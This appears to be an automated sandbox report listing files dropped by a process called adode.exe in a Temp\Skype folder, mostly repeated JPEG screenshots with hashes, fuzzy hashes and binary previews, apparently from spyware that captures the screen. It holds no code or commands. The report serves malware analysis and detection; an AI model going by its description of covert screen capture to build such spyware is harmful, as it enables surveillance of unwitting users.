MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240904_194503.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240905_021857.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240905_084925.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240905_155418.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240905_225306.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240906_035139.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240906_111622.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240906_175322.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240907_011919.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240907_083952.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240907_153629.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240912_042930.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240912_111903.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151952
Entropy (8bit):	7.928118405632728
Encrypted:	false
SSDEEP:	3072:9N/AiDuj5lvQ1+brQgpgoN6kiTff2FxeYueea8FkcKxgq4W:9NYiDu/vQ1+brw+6kGff2FxE9xI
MD5:	A69612312A6E36B63E2FF25DBF4D2172
SHA1:	2D938278B11DFA1E1BF29A1F58D4BD2CE3AC9009
SHA-256:	20948C355395831BB4B542CA315E584580452E9C733D4A0DA5320E294C58D9E4
SHA-512:	9497C9C1BD816739EF924F553802C613A302B0249A06D90B6F914F4C03C737B39630346E0ED7ED36C1FDC659FA84354E89EAC0043782F0DA63A0F05D189C6440
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240918_010414.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144954
Entropy (8bit):	7.929543251762701
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzO2bDvLhtgy9Iwj/V7HsUOFUyavFsYBF5moL:WpgzO2vvNuHwpLyaG22oL
MD5:	2E180148B9FC3B47DDE099D3901D414D
SHA1:	23370DD1D8DCB4E219A8C0A4C6088CCB80B3A654
SHA-256:	19BDA0585CD9089515CB3752E5107937341993D29CC0C4FC2D92C5205AC9672B
SHA-512:	E7800CB6726C7B37298C64112C99474D3C8B09F854F2ADE61AABABE451155B6E3DEAFCDD704BA76418BD92D371206165D65716AA90129546D672F728B35C9A05
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240919_015657.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	145687
Entropy (8bit):	7.927726572169042
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIJYjjYS/tGp/vNZYOA0y5vjxQsi2ly3TQr6J:WpgzOCtOPvgFvPYOAvIsATBJ
MD5:	8AC58ADF05CA81D4EE1801BB767074C3
SHA1:	AFBBEE6D7D59F614C4459E932010C0FCE750D239
SHA-256:	AB19253B915A3A64FC51DE11084A83EF0DFC66CC81B89F1EDE6CABAE5171C32E
SHA-512:	090A1DBF2C4F2233E76AEEBFF376FD440728A9B4ABDF0D634316D9ADC123CBE933887511E7432BC26BF0ADFAF59F93BBA95A06504ED043FC8108E294A0850224
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240919_170430.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240919_230421.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
